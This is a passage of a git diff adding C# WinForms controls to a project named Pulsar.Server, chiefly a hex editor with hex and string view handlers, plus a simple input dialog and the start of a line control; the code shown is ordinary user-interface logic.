_vScrollPos += ((position.Y) / _recLineCount.Height - (_maxVisibleBytesV - 1)) * _vScrollSmall; + + if (_vScrollPos > (_vScrollMax - (_vScrollLarge - 1))) + _vScrollPos = (_vScrollMax - (_vScrollLarge - 1)); + + UpdateVisibleByteIndex(); + UpdateScrollValues(); + + if (CaretFocused) + { + position.Y = (_maxVisibleBytesV - 1) * _recLineCount.Height + _recContent.Y; + } + } + return position; + } + + #endregion + + #region Update Actions + + private void UpdateRectanglePositioning() + { + if (ClientRectangle.Width == 0) + return; + + //Start by calculating the size of a char + SizeF charSize; + using (var graphics = this.CreateGraphics()) + { + charSize = graphics.MeasureString("D", Font, 100, _stringFormat); + } + CharSize = new SizeF((float)Math.Ceiling(charSize.Width), (float)Math.Ceiling(charSize.Height)); + + //Set the main content bounds (remove margins) + _recContent = ClientRectangle; + _recContent.X += Margin.Left; + _recContent.Y += Margin.Top; + _recContent.Width -= Margin.Right; + _recContent.Height -= Margin.Bottom; + + //Check if the border is active and decrease the bounds + if (BorderStyle == BorderStyle.Fixed3D) + { + _recContent.X += 2; + _recContent.Y += 2; + _recContent.Width -= 1; + _recContent.Height -= 1; + } + else if (BorderStyle == BorderStyle.FixedSingle) + { + _recContent.X += 1; + _recContent.Y += 1; + _recContent.Width -= 1; + _recContent.Height -= 1; + } + + //Handle if the scrollbar is visible + if (!VScrollBarHidden) + { + _recContent.Width -= _vScrollBarWidth; + _vScrollBar.Left = _recContent.X + _recContent.Width - Margin.Left; + _vScrollBar.Top = _recContent.Y - Margin.Top; + _vScrollBar.Width = _vScrollBarWidth; + _vScrollBar.Height = _recContent.Height; + } + + _recLineCount = new Rectangle(_recContent.X, _recContent.Y, (int)(_charSize.Width * 4), (int)(_charSize.Height) - 2); + + _editView.Update(_recLineCount.X + _recLineCount.Width + _entityMargin / 2, _recContent); + + //Calculate needed maximums for the bytes + _maxBytesH = _bytesPerLine; + _maxBytesV = (int)Math.Ceiling(((float)_recContent.Height / (float)_recLineCount.Height)); + _maxBytes = _maxBytesH * _maxBytesV; + _maxVisibleBytesV = (int)Math.Floor(((float)_recContent.Height / (float)_recLineCount.Height)); + + UpdateScrollBarSize(); + } + + private void UpdateVisibleByteIndex() + { + if (_hexTable.Length == 0) + { + _firstByte = 0; + _lastByte = 0; + } + else + { + _firstByte = _vScrollPos * _maxBytesH; + _lastByte = (int)Math.Min(HexTableLength, _firstByte + _maxBytes); + } + } + + private void UpdateScrollValues() + { + if (!_isVScrollHidden) + { + _vScrollBar.Minimum = _vScrollMin; + _vScrollBar.Maximum = _vScrollMax; + _vScrollBar.Value = _vScrollPos; + + _vScrollBar.SmallChange = _vScrollSmall; + _vScrollBar.LargeChange = _vScrollLarge; + + _vScrollBar.Visible = true; + } + else + { + _vScrollBar.Visible = false; + } + } + + private void UpdateScrollBarSize() + { + if (VScrollBarVisisble && _maxVisibleBytesV > 0 && _maxBytesH > 0) + { + //Holds the size of a page (number of rows per page) + int largeScroll = _maxVisibleBytesV; + //Holds the row size (1) + int smallScroll = 1; + //Holds the minimum value of the scrollbar + int minScroll = 0; + //Holds the maximum value of the scrollbar + int maxScroll = HexTableLength / _maxBytesH; + //Holds the current positon on the scrollbar + int posScroll = _firstByte / _maxBytesH; + + if (largeScroll != _vScrollLarge || smallScroll != _vScrollSmall) + { + _vScrollLarge = largeScroll; + _vScrollSmall = smallScroll; + } + + if (maxScroll >= largeScroll) + { + if (maxScroll != _vScrollMax || posScroll != _vScrollPos) + { + _vScrollMin = minScroll; + _vScrollMax = maxScroll; + _vScrollPos = posScroll; + } + + VScrollBarHidden = false; + + UpdateScrollValues(); + } + else + { + VScrollBarHidden = true; + } + } + else + { + VScrollBarHidden = true; + } + } + + #endregion + + #region Constructor + + public HexEditor() + : this(new ByteCollection()) + { } + + public HexEditor(ByteCollection collection) + { + //Set String format for the hex values + _stringFormat = new StringFormat(StringFormat.GenericTypographic); + _stringFormat.Alignment = StringAlignment.Center; + _stringFormat.LineAlignment = StringAlignment.Center; + + //Set the provided byte collection + _hexTable = collection; + + //Set the vertical scrollbar + _vScrollBar = new VScrollBar(); + _vScrollBar.Scroll += new ScrollEventHandler(OnVScrollBarScroll); + + //Redraw whenever the control is resized + SetStyle(ControlStyles.ResizeRedraw, true); + + //Enable double buffering + SetStyle(ControlStyles.OptimizedDoubleBuffer | ControlStyles.AllPaintingInWmPaint, true); + + //Enable selectable + SetStyle(ControlStyles.Selectable, true); + + //Handle initialization of Caret + _caret = new Caret(this); + _caret.SelectionStartChanged += new EventHandler(CaretSelectionStartChanged); + _caret.SelectionLengthChanged += new EventHandler(CaretSelectionLengthChanged); + + //Create the needed edit view + _editView = new EditView(this); + _handler = _editView; + + //Set defualt cursor + this.Cursor = Cursors.IBeam; + } + + #endregion + + #region Boundary Calculator + + private RectangleF GetLineCountBound(int index) + { + RectangleF ret = new RectangleF( + _recLineCount.X, + _recLineCount.Y + (_recLineCount.Height * index), + _recLineCount.Width, + _recLineCount.Height + ); + + return ret; + } + + #endregion + + #region OnPaint - Functions + + protected override void OnPaintBackground(PaintEventArgs pevent) + { + + if (BorderStyle == BorderStyle.Fixed3D) + { + SolidBrush brush = new SolidBrush(BackColor); + Rectangle rect = ClientRectangle; + pevent.Graphics.FillRectangle(brush, rect); + ControlPaint.DrawBorder3D(pevent.Graphics, ClientRectangle, Border3DStyle.Sunken); + } + else if (BorderStyle == BorderStyle.FixedSingle) + { + SolidBrush brush = new SolidBrush(BackColor); + Rectangle rect = ClientRectangle; + pevent.Graphics.FillRectangle(brush, rect); + ControlPaint.DrawBorder(pevent.Graphics, ClientRectangle, BorderColor, ButtonBorderStyle.Solid); + } + else + { + base.OnPaintBackground(pevent); + } + } + + protected override void OnPaint(PaintEventArgs e) + { + base.OnPaint(e); + + Region r = new Region(ClientRectangle); + r.Exclude(_recContent); + e.Graphics.ExcludeClip(r); + + UpdateVisibleByteIndex(); + + PaintLineCount(e.Graphics, _firstByte, _lastByte); + + _editView.Paint(e.Graphics, _firstByte, _lastByte); + } + + private void PaintLineCount(Graphics g, int startIndex, int lastIndex) + { + SolidBrush brush = new SolidBrush(ForeColor); + + for (int i = 0; ((i * _maxBytesH) + startIndex) <= lastIndex; i++) + { + RectangleF drawSurface = GetLineCountBound(i); + string lineCount = (startIndex + (i * _maxBytesH)).ToString(_lineCountCaps); + //Calculate how many '0' need to be added to the current count + int zeros = _nrCharsLineCount - lineCount.Length; + + string lineStr; + if (zeros > -1) + { + lineStr = new string('0', zeros) + lineCount; + } + else + { + lineStr = new string('~', _nrCharsLineCount); + } + g.DrawString(lineStr, Font, brush, drawSurface, _stringFormat); + } + } + + #endregion + + #region OnRezie + + protected override void OnResize(EventArgs e) + { + base.OnResize(e); + + UpdateRectanglePositioning(); + Invalidate(); + } + + #endregion + } +} diff --git a/Pulsar.Server/Controls/HexEditor/HexViewHandler.cs b/Pulsar.Server/Controls/HexEditor/HexViewHandler.cs new file mode 100644 index 0000000..b46f0ad --- /dev/null +++ b/Pulsar.Server/Controls/HexEditor/HexViewHandler.cs @@ -0,0 +1,442 @@ +ο»Ώusing System; +using System.Drawing; +using System.Windows.Forms; + +namespace Pulsar.Server.Controls.HexEditor +{ + public class HexViewHandler + { + #region Fields + + bool _isEditing; + + /// + /// Contains info about how to + /// present the hex values + /// (Upper or Lower case) + /// + string _hexType = "X2"; + + /// + /// Contains the boundary for one single + /// hexa value that is visible + /// + Rectangle _recHexValue; + + /// + /// Contains the format of the hexadecimal + /// strings that are presented + /// + StringFormat _stringFormat; + + private HexEditor _editor; + + #endregion + + #region Properties + + public int MaxWidth + { + get { return _recHexValue.X + (_recHexValue.Width * _editor.BytesPerLine); } + } + + #endregion + + #region Constructor + + public HexViewHandler(HexEditor editor) + { + _editor = editor; + + //Set String format for the hex values + _stringFormat = new StringFormat(StringFormat.GenericTypographic); + _stringFormat.Alignment = StringAlignment.Center; + _stringFormat.LineAlignment = StringAlignment.Center; + } + + #endregion + + #region Method + + #region KeyMouseEvents + + #region KeyEvents + + public void OnKeyPress(KeyPressEventArgs e) + { + if (IsHex(e.KeyChar)) + HandleUserInput(e.KeyChar); + } + + public void OnKeyDown(KeyEventArgs e) + { + if (e.KeyCode == Keys.Delete || e.KeyCode == Keys.Back) + { + if (_editor.SelectionLength > 0) + { + //Remove the selected bytes + HandleUserRemove(); + int index = _editor.CaretIndex; + Point newLocation = GetCaretLocation(index); + _editor.SetCaretStart(index, newLocation); + } + else if (_editor.CaretIndex < _editor.LastVisibleByte && e.KeyCode == Keys.Delete) + { + //Remove the byte after the caret + _editor.RemoveByteAt(_editor.CaretIndex); + Point newLocation = GetCaretLocation(_editor.CaretIndex); + _editor.SetCaretStart(_editor.CaretIndex, newLocation); + } + else if (_editor.CaretIndex > 0 && e.KeyCode == Keys.Back) + { + //Remove byte before the caret + int index = _editor.CaretIndex - 1; + if (_isEditing) + { + //Remove the byte that is being edited + index = _editor.CaretIndex; + } + _editor.RemoveByteAt(index); + Point newLocation = GetCaretLocation(index); + _editor.SetCaretStart(index, newLocation); + } + _isEditing = false; + } + else if (e.KeyCode == Keys.Up && (_editor.CaretIndex - _editor.BytesPerLine) >= 0) + { + int index = _editor.CaretIndex - _editor.BytesPerLine; + + //Check ig caret is att the end of the line + if (index % _editor.BytesPerLine == 0 && _editor.CaretPosX >= _recHexValue.X + _recHexValue.Width * _editor.BytesPerLine) + { + Point position = new Point(_editor.CaretPosX, _editor.CaretPosY - _recHexValue.Height); + + //check that this is not the last row (nothing above) + if (index == 0) + { + //Last row do not change index and position + position = new Point(_editor.CaretPosX, _editor.CaretPosY); + index = _editor.BytesPerLine; + } + + if (e.Shift) + _editor.SetCaretEnd(index, position); + else + _editor.SetCaretStart(index, position); + _isEditing = false; + } + else + { + HandleArrowKeys(index, e.Shift); + } + } + else if (e.KeyCode == Keys.Down && (_editor.CaretIndex - 1) / _editor.BytesPerLine < _editor.HexTableLength / _editor.BytesPerLine) + { + int index = _editor.CaretIndex + _editor.BytesPerLine; + + if (index > _editor.HexTableLength) + { + index = _editor.HexTableLength; + HandleArrowKeys(index, e.Shift); + } + else + { + Point position = new Point(_editor.CaretPosX, _editor.CaretPosY + _recHexValue.Height); + + if (e.Shift) + _editor.SetCaretEnd(index, position); + else + _editor.SetCaretStart(index, position); + _isEditing = false; + } + } + else if (e.KeyCode == Keys.Left && (_editor.CaretIndex - 1) >= 0) + { + int index = _editor.CaretIndex - 1; + HandleArrowKeys(index, e.Shift); + } + else if (e.KeyCode == Keys.Right && (_editor.CaretIndex + 1) <= _editor.HexTableLength) + { + int index = _editor.CaretIndex + 1; + HandleArrowKeys(index, e.Shift); + } + } + + public void HandleArrowKeys(int index, bool isShiftDown) + { + Point position = GetCaretLocation(index); + + if (isShiftDown) + _editor.SetCaretEnd(index, position); + else + _editor.SetCaretStart(index, position); + _isEditing = false; + } + + #endregion + + #region MouseEvent + + public void OnMouseDown(int x, int y) + { + int iX = (x - _recHexValue.X) / _recHexValue.Width; + int iY = (y - _recHexValue.Y) / _recHexValue.Height; + + //Check that values are good + iX = iX > _editor.BytesPerLine ? _editor.BytesPerLine : iX; + iX = iX < 0 ? 0 : iX; + iY = iY > _editor.MaxBytesV ? _editor.MaxBytesV : iY; + iY = iY < 0 ? 0 : iY; + + //Make sure values are withing the given bounds + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= iY) + { + //Check that column is not greater than max + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= iX) + { + iX = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine; + } + iY = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine; + } + + //Get the smallest possible location (do not want to exceed the max) + int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + iX + (iY * _editor.BytesPerLine)); + + int xPos = (iX * _recHexValue.Width) + _recHexValue.X; + int yPos = (iY * _recHexValue.Height) + _recHexValue.Y; + + _editor.SetCaretStart(index, new Point(xPos, yPos)); + _isEditing = false; + } + + public void OnMouseDragged(int x, int y) + { + int iX = (x - _recHexValue.X) / _recHexValue.Width; + int iY = (y - _recHexValue.Y) / _recHexValue.Height; + + //Check that values are good + iX = iX > _editor.BytesPerLine ? _editor.BytesPerLine : iX; + iX = iX < 0 ? 0 : iX; + iY = iY > _editor.MaxBytesV ? _editor.MaxBytesV : iY; + + if (_editor.FirstVisibleByte > 0) + { + iY = iY < 0 ? -1 : iY; + } + else + { + iY = iY < 0 ? 0 : iY; + } + + //Make sure values are withing the given bounds + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= iY) + { + //Check that column is not greater than max + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= iX) + { + iX = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine; + } + iY = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine; + } + + //Get the smallest possible location (do not want to exceed the max) + int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + iX + (iY * _editor.BytesPerLine)); + + int xPos = (iX * _recHexValue.Width) + _recHexValue.X; + int yPos = (iY * _recHexValue.Height) + _recHexValue.Y; + + _editor.SetCaretEnd(index, new Point(xPos, yPos)); + } + + public void OnMouseDoubleClick() + { + if (_editor.CaretIndex < _editor.LastVisibleByte) + { + int index = _editor.CaretIndex + 1; + Point newLocation = GetCaretLocation(index); + _editor.SetCaretEnd(index, newLocation); + } + } + + #endregion + + #endregion + + #region PaintMethod + + public void Update(int startPositionX, Rectangle area) + { + _recHexValue = new Rectangle( + startPositionX, + area.Y, + (int)(_editor.CharSize.Width * 3), + (int)(_editor.CharSize.Height) - 2 + ); + + _recHexValue.X += _editor.EntityMargin; + } + + public void Paint(Graphics g, int index, int startIndex) + { + Point columnAndRow = GetByteColumnAndRow(index); + + if (_editor.IsSelected(index + startIndex)) + { + PaintByteAsSelected(g, columnAndRow, (index + startIndex)); + } + else + { + PaintByte(g, columnAndRow, (index + startIndex)); + } + } + + private void PaintByteAsSelected(Graphics g, Point point, int index) + { + SolidBrush backBrush = new SolidBrush(_editor.SelectionBackColor); + SolidBrush textBrush = new SolidBrush(_editor.SelectionForeColor); + RectangleF drawSurface = GetBound(point); + string hexValue = _editor.GetByte(index).ToString(_hexType); + + g.FillRectangle(backBrush, drawSurface); + g.DrawString(hexValue, _editor.Font, textBrush, drawSurface, _stringFormat); + } + + private void PaintByte(Graphics g, Point point, int index) + { + SolidBrush brush = new SolidBrush(_editor.ForeColor); + RectangleF drawSurface = GetBound(point); + string hexValue = _editor.GetByte(index).ToString(_hexType); + + g.DrawString(hexValue, _editor.Font, brush, drawSurface, _stringFormat); + } + + #endregion + + public void SetLowerCase() + { + _hexType = "x2"; + } + + public void SetUpperCase() + { + _hexType = "X2"; + } + + public void Focus() + { + int index = _editor.CaretIndex; + Point location = GetCaretLocation(index); + _editor.SetCaretStart(index, location); + } + + #endregion + + #region Caret + + /// + /// Get the caret current location + /// in the given bound. + /// + private Point GetCaretLocation(int index) + { + int xPos = _recHexValue.X + (_recHexValue.Width * (index % _editor.BytesPerLine)); + int yPos = _recHexValue.Y + (_recHexValue.Height * ((index - (_editor.FirstVisibleByte + index % _editor.BytesPerLine)) / _editor.BytesPerLine)); + + Point ret = new Point(xPos, yPos); + return ret; + } + + #endregion + + #region Misc + + private void HandleUserRemove() + { + //Calculate where to position the caret after the removal + int index = _editor.SelectionStart; + Point position = GetCaretLocation(index); + //Remove all of the selected bytes + _editor.RemoveSelectedBytes(); + + //Set the new position of the caret + _editor.SetCaretStart(index, position); + } + + private void HandleUserInput(char key) + { + if (!_editor.CaretFocused) + return; + + //Perform overwrite + HandleUserRemove(); + + if (_isEditing) + { + //Editing has already started, should change the second nibble + _isEditing = false; + //Load old bytes to allow change + byte oldByte = _editor.GetByte(_editor.CaretIndex); + //Append the new nibble + oldByte += Convert.ToByte(key.ToString(), 16); + _editor.SetByte(_editor.CaretIndex, oldByte); + //Relocate the caret + int index = _editor.CaretIndex + 1; + Point newLocation = GetCaretLocation(index); + _editor.SetCaretStart(index, newLocation); + + } + else + { + //Begin new edit phase + _isEditing = true; + string hexByte = key.ToString() + "0"; + byte newByte = Convert.ToByte(hexByte, 16); + + if (_editor.HexTable.Length <= 0) + { + _editor.AppendByte(newByte); + } + else + { + _editor.InsertByte(_editor.CaretIndex, newByte); + } + + //Relocate the caret to the middle of the hex value (provide illusion of editing the second value) + int xPos = (_recHexValue.X + (_recHexValue.Width * ((_editor.CaretIndex) % _editor.BytesPerLine)) + (_recHexValue.Width / 2)); + int yPos = _recHexValue.Y + (_recHexValue.Height * ((_editor.CaretIndex - (_editor.FirstVisibleByte + _editor.CaretIndex % _editor.BytesPerLine)) / _editor.BytesPerLine)); + + _editor.SetCaretStart(_editor.CaretIndex, new Point(xPos, yPos)); + } + } + + private Point GetByteColumnAndRow(int index) + { + int column = index % _editor.BytesPerLine; + int row = index / _editor.BytesPerLine; + + Point ret = new Point(column, row); + return ret; + } + + private RectangleF GetBound(Point point) + { + RectangleF ret = new RectangleF( + _recHexValue.X + (point.X * _recHexValue.Width), + _recHexValue.Y + (point.Y * _recHexValue.Height), + _recHexValue.Width, + _recHexValue.Height + ); + + return ret; + } + + private bool IsHex(char c) + { + return (c >= 'a' && c <= 'f') || + (c >= 'A' && c <= 'F') || + Char.IsDigit(c); + } + + #endregion + } +} diff --git a/Pulsar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs b/Pulsar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs new file mode 100644 index 0000000..982c0aa --- /dev/null +++ b/Pulsar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs @@ -0,0 +1,24 @@ +ο»Ώusing System; +using System.Windows.Forms; + +namespace Pulsar.Server.Controls.HexEditor +{ + public interface IKeyMouseEventHandler + { + void OnKeyPress(KeyPressEventArgs e); + + void OnKeyDown(KeyEventArgs e); + + void OnKeyUp(KeyEventArgs e); + + void OnMouseDown(MouseEventArgs e); + + void OnMouseDragged(MouseEventArgs e); + + void OnMouseUp(MouseEventArgs e); + + void OnMouseDoubleClick(MouseEventArgs e); + + void OnGotFocus(EventArgs e); + } +} diff --git a/Pulsar.Server/Controls/HexEditor/StringViewHandler.cs b/Pulsar.Server/Controls/HexEditor/StringViewHandler.cs new file mode 100644 index 0000000..3896cad --- /dev/null +++ b/Pulsar.Server/Controls/HexEditor/StringViewHandler.cs @@ -0,0 +1,382 @@ +ο»Ώusing System; +using System.Drawing; +using System.Windows.Forms; + +namespace Pulsar.Server.Controls.HexEditor +{ + public class StringViewHandler + { + #region Field + + /// + /// Contains the boundary of + /// a single line + /// + Rectangle _recStringView; + + /// + /// Contains the format of the + /// string to be used in the + /// string view + /// + StringFormat _stringFormat; + + private HexEditor _editor; + + #endregion + + #region Properties + + public int MaxWidth + { + get { return _recStringView.X + _recStringView.Width; } + } + + #endregion + + #region Constructor + + public StringViewHandler(HexEditor editor) + { + _editor = editor; + + //Set String format for the values + _stringFormat = new StringFormat(StringFormat.GenericTypographic); + _stringFormat.Alignment = StringAlignment.Center; + _stringFormat.LineAlignment = StringAlignment.Center; + } + + #endregion + + #region KeyMouseEvents + + #region Key + + public void OnKeyPress(KeyPressEventArgs e) + { + if (!Char.IsControl(e.KeyChar)) + { + HandleUserInput(e.KeyChar); + } + } + + public void OnKeyDown(KeyEventArgs e) + { + if (e.KeyCode == Keys.Delete || e.KeyCode == Keys.Back) + { + if (_editor.SelectionLength > 0) + { + //Remove the selected bytes + HandleUserRemove(); + int index = _editor.CaretIndex; + Point newLocation = GetCaretLocation(index); + _editor.SetCaretStart(index, newLocation); + } + else if (_editor.CaretIndex < _editor.LastVisibleByte && e.KeyCode == Keys.Delete) + { + //Remove the byte after the caret + _editor.RemoveByteAt(_editor.CaretIndex); + Point newLocation = GetCaretLocation(_editor.CaretIndex); + _editor.SetCaretStart(_editor.CaretIndex, newLocation); + } + else if (_editor.CaretIndex > 0 && e.KeyCode == Keys.Back) + { + //Remove byte before the caret + int index = _editor.CaretIndex - 1; + _editor.RemoveByteAt(index); + Point newLocation = GetCaretLocation(index); + _editor.SetCaretStart(index, newLocation); + } + } + else if (e.KeyCode == Keys.Up && (_editor.CaretIndex - _editor.BytesPerLine) >= 0) + { + int index = _editor.CaretIndex - _editor.BytesPerLine; + + //Check ig caret is att the end of the line + if (index % _editor.BytesPerLine == 0 && _editor.CaretPosX >= _recStringView.X + _recStringView.Width) + { + Point position = new Point(_editor.CaretPosX, _editor.CaretPosY - _recStringView.Height); + + //check that this is not the last row (nothing above) + if (index == 0) + { + //Last row do not change index and position + position = new Point(_editor.CaretPosX, _editor.CaretPosY); + index = _editor.BytesPerLine; + } + + if (e.Shift) + _editor.SetCaretEnd(index, position); + else + _editor.SetCaretStart(index, position); + } + else + { + HandleArrowKeys(index, e.Shift); + } + } + else if (e.KeyCode == Keys.Down && (_editor.CaretIndex - 1) / _editor.BytesPerLine < _editor.HexTableLength / _editor.BytesPerLine) + { + int index = _editor.CaretIndex + _editor.BytesPerLine; + + if (index > _editor.HexTableLength) + { + index = _editor.HexTableLength; + HandleArrowKeys(index, e.Shift); + } + else + { + Point position = new Point(_editor.CaretPosX, _editor.CaretPosY + _recStringView.Height); + + if (e.Shift) + _editor.SetCaretEnd(index, position); + else + _editor.SetCaretStart(index, position); + } + } + else if (e.KeyCode == Keys.Left && (_editor.CaretIndex - 1) >= 0) + { + int index = _editor.CaretIndex - 1; + HandleArrowKeys(index, e.Shift); + } + else if (e.KeyCode == Keys.Right && (_editor.CaretIndex + 1) <= _editor.LastVisibleByte) + { + int index = _editor.CaretIndex + 1; + HandleArrowKeys(index, e.Shift); + } + } + + public void HandleArrowKeys(int index, bool isShiftDown) + { + Point newLocation = GetCaretLocation(index); + if (isShiftDown) + _editor.SetCaretEnd(index, newLocation); + else + _editor.SetCaretStart(index, newLocation); + } + + #endregion + + #region Mouse + + public void OnMouseDown(int x, int y) + { + int iX = (x - _recStringView.X) / (int)_editor.CharSize.Width; + int iY = (y - _recStringView.Y) / _recStringView.Height; + + //Check that values are good + iX = iX > _editor.BytesPerLine ? _editor.BytesPerLine : iX; + iX = iX < 0 ? 0 : iX; + iY = iY > _editor.MaxBytesV ? _editor.MaxBytesV : iY; + iY = iY < 0 ? 0 : iY; + + //Make sure values are withing the given bounds + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= iY) + { + //Check that column is not greater than max + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= iX) + { + iX = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine; + } + iY = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine; + } + + //Get the smallest possible location (do not want to exceed the max) + int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + iX + iY * _editor.BytesPerLine); + + int xPos = (iX * (int)_editor.CharSize.Width) + _recStringView.X; + int yPos = (iY * _recStringView.Height) + _recStringView.Y; + + _editor.SetCaretStart(index, new Point(xPos, yPos)); + } + + public void OnMouseDragged(int x, int y) + { + int iX = (x - _recStringView.X) / (int)_editor.CharSize.Width; + int iY = (y - _recStringView.Y) / _recStringView.Height; + + //Check that values are good + iX = iX > _editor.BytesPerLine ? _editor.BytesPerLine : iX; + iX = iX < 0 ? 0 : iX; + iY = iY > _editor.MaxBytesV ? _editor.MaxBytesV : iY; + + if (_editor.FirstVisibleByte > 0) + { + iY = iY < 0 ? -1 : iY; + } + else + { + iY = iY < 0 ? 0 : iY; + } + + //Make sure values are withing the given bounds + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= iY) + { + //Check that column is not greater than max + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= iX) + { + iX = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine; + } + iY = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine; + } + + //Get the smallest possible location (do not want to exceed the max) + int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + iX + iY * _editor.BytesPerLine); + + int xPos = (iX * (int)_editor.CharSize.Width) + _recStringView.X; + int yPos = (iY * _recStringView.Height) + _recStringView.Y; + + _editor.SetCaretEnd(index, new Point(xPos, yPos)); + } + + public void OnMouseDoubleClick() + { + if (_editor.CaretIndex < _editor.LastVisibleByte) + { + int index = _editor.CaretIndex + 1; + Point newLocation = GetCaretLocation(index); + _editor.SetCaretEnd(index, newLocation); + } + } + + #endregion + + #region Focus + + public void Focus() + { + int index = _editor.CaretIndex; + Point location = GetCaretLocation(index); + _editor.SetCaretStart(index, location); + } + + #endregion + + #endregion + + #region Paint + + public void Update(int startPositionX, Rectangle area) + { + _recStringView = new Rectangle( + startPositionX, + area.Y, + (int)(_editor.CharSize.Width * _editor.BytesPerLine), + (int)(_editor.CharSize.Height) - 2 + ); + + _recStringView.X += _editor.EntityMargin; + } + + public void Paint(Graphics g, int index, int startIndex) + { + Point columnAndRow = GetByteColumnAndRow(index); + + if (_editor.IsSelected(index + startIndex)) + { + PaintByteAsSelected(g, columnAndRow, (index + startIndex)); + } + else + { + PaintByte(g, columnAndRow, (index + startIndex)); + } + } + + private void PaintByteAsSelected(Graphics g, Point point, int index) + { + SolidBrush backBrush = new SolidBrush(_editor.SelectionBackColor); + SolidBrush textBrush = new SolidBrush(_editor.SelectionForeColor); + RectangleF drawSurface = GetBound(point); + char value = _editor.GetByteAsChar(index); + string strValue = (Char.IsControl(value) ? "." : value.ToString()); + + g.FillRectangle(backBrush, drawSurface); + g.DrawString(strValue, _editor.Font, textBrush, drawSurface, _stringFormat); + } + + private void PaintByte(Graphics g, Point point, int index) + { + SolidBrush brush = new SolidBrush(_editor.ForeColor); + RectangleF drawLocation = GetBound(point); + char value = _editor.GetByteAsChar(index); + string strValue = (Char.IsControl(value) ? "." : value.ToString()); + + g.DrawString(strValue, _editor.Font, brush, drawLocation, _stringFormat); + } + + #endregion + + #region Caret + + /// + /// Get the caret current location + /// in the given bound. + /// + private Point GetCaretLocation(int index) + { + int xPos = _recStringView.X + ((int)_editor.CharSize.Width * (index % _editor.BytesPerLine)); + int yPos = _recStringView.Y + ((int)_recStringView.Height * ((index - (_editor.FirstVisibleByte + index % _editor.BytesPerLine)) / _editor.BytesPerLine)); + + Point ret = new Point(xPos, yPos); + return ret; + } + + #endregion + + #region Misc + + private void HandleUserRemove() + { + //Calculate where to position the caret after the removal + int index = _editor.SelectionStart; + Point position = GetCaretLocation(index); + //Remove all of the selected bytes + _editor.RemoveSelectedBytes(); + + //Set the new position of the caret + _editor.SetCaretStart(index, position); + } + + private void HandleUserInput(char key) + { + if (!_editor.CaretFocused) + return; + + HandleUserRemove(); + + byte newByte = Convert.ToByte(key); + + if (_editor.HexTableLength <= 0) + _editor.AppendByte(newByte); + else + _editor.InsertByte(_editor.CaretIndex, newByte); + + int index = _editor.CaretIndex + 1; + Point newLocation = GetCaretLocation(index); + _editor.SetCaretStart(index, newLocation); + } + + private Point GetByteColumnAndRow(int index) + { + int column = index % _editor.BytesPerLine; + int row = index / _editor.BytesPerLine; + + Point ret = new Point(column, row); + return ret; + } + + private RectangleF GetBound(Point point) + { + RectangleF ret = new RectangleF( + _recStringView.X + (point.X * (int)_editor.CharSize.Width), + _recStringView.Y + (point.Y * _recStringView.Height), + _editor.CharSize.Width, + _recStringView.Height + ); + + return ret; + } + + #endregion + } +} diff --git a/Pulsar.Server/Controls/InputBox.cs b/Pulsar.Server/Controls/InputBox.cs new file mode 100644 index 0000000..b86cf1e --- /dev/null +++ b/Pulsar.Server/Controls/InputBox.cs @@ -0,0 +1,54 @@ +ο»Ώusing System; +using System.Drawing; +using System.Windows.Forms; + +namespace Pulsar.Server.Controls +{ + public static class InputBox + { + public static DialogResult Show(string title, string promptText, ref string value) + { + DialogResult dialogResult = DialogResult.Cancel; + using (var form = new Form()) + { + Label label = new Label(); + TextBox textBox = new TextBox(); + Button buttonOk = new Button(); + Button buttonCancel = new Button(); + + form.Text = title; + label.Text = promptText; + textBox.Text = value; + + buttonOk.Text = "OK"; + buttonCancel.Text = "Cancel"; + buttonOk.DialogResult = DialogResult.OK; + buttonCancel.DialogResult = DialogResult.Cancel; + + label.SetBounds(9, 20, 372, 13); + textBox.SetBounds(12, 36, 372, 20); + buttonOk.SetBounds(228, 72, 75, 23); + buttonCancel.SetBounds(309, 72, 75, 23); + + label.AutoSize = true; + textBox.Anchor = textBox.Anchor | AnchorStyles.Right; + buttonOk.Anchor = AnchorStyles.Bottom | AnchorStyles.Right; + buttonCancel.Anchor = AnchorStyles.Bottom | AnchorStyles.Right; + + form.ClientSize = new Size(396, 107); + form.Controls.AddRange(new Control[] { label, textBox, buttonOk, buttonCancel }); + form.ClientSize = new Size(Math.Max(300, label.Right + 10), form.ClientSize.Height); + form.FormBorderStyle = FormBorderStyle.FixedDialog; + form.StartPosition = FormStartPosition.CenterScreen; + form.MinimizeBox = false; + form.MaximizeBox = false; + form.AcceptButton = buttonOk; + form.CancelButton = buttonCancel; + + dialogResult = form.ShowDialog(); + value = textBox.Text; + } + return dialogResult; + } + } +} \ No newline at end of file diff --git a/Pulsar.Server/Controls/Line.cs b/Pulsar.Server/Controls/Line.cs new file mode 100644 index 0000000..4846381 --- /dev/null +++ b/Pulsar.Server/Controls/Line.cs @@ -0,0 +1,52 @@ +ο»Ώusing Pulsar.Server.Models; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +namespace Pulsar.Server.Controls +{ + public class Line : 